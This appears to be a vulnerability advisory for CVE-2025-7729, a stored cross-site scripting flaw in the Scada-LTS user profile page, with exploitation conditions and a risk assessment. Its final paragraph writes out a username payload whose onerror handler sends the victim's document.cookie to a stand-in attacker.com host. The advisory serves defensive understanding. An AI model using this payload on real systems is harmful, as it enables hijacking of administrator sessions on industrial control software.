Scada-LTS CVE-2025-7729

Exploitation requires: (1) valid authentication to Scada-LTS instance (verified by CVSS PR:L), (2) ability to set or modify a custom Username value during user profile creation or update, (3) a victim user must navigate to or be directed to the usersProfiles.shtm page containing the poisoned profile (verified by CVSS UI:P), (4) victim's browser must execute JavaScript and allow inline script execution (mitigated by CSP if deployed). Exploitation is limited to authenticated users only - unauthenticated remote attackers cannot directly inject payloads. The vulnerability does NOT affect confidentiality, integrity of system data, or availability (CVSS VC:N/VI:L/VA:N), meaning the XSS impact is primarily limited to session hijacking or defacement rather than system compromise. Non-default configurations or air-gapped deployments with no external web access significantly reduce risk.

This vulnerability presents LOW real-world risk despite public exploit availability, driven by multiple restrictive exploitation conditions. The CVSS v4.0 vector (PR:L/UI:P) mandates both authentication and user interaction, significantly limiting the attack surface. The EPSS score of 0.05% (15th percentile) confirms low exploitation probability in the wild, suggesting the vulnerability remains primarily a theoretical concern rather than an active threat. The attack requires: (1) valid Scada-LTS credentials, (2) ability to modify one's own username during profile creation/update, and (3) a victim user who visits the attacker's poisoned profile page. No CISA KEV listing is indicated, and exploitation would likely target internal administrative users rather than external threat actors. Organizations running Scada-LTS in isolated industrial networks with restricted user provisioning face minimal risk; publicly accessible instances or those with permissive account creation policies face moderate risk only with social engineering to trigger victim visits.

An authenticated attacker with user account access creates or updates their profile with a malicious Username value such as '<img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">'. When an administrator visits the users management page to view all profiles, the XSS payload executes in the admin's browser, stealing session cookies or performing actions as the administrator. Alternatively, the attacker could craft a username containing event-handler JavaScript that triggers on profile page load, exfiltrating SCADA system information or injecting further malware.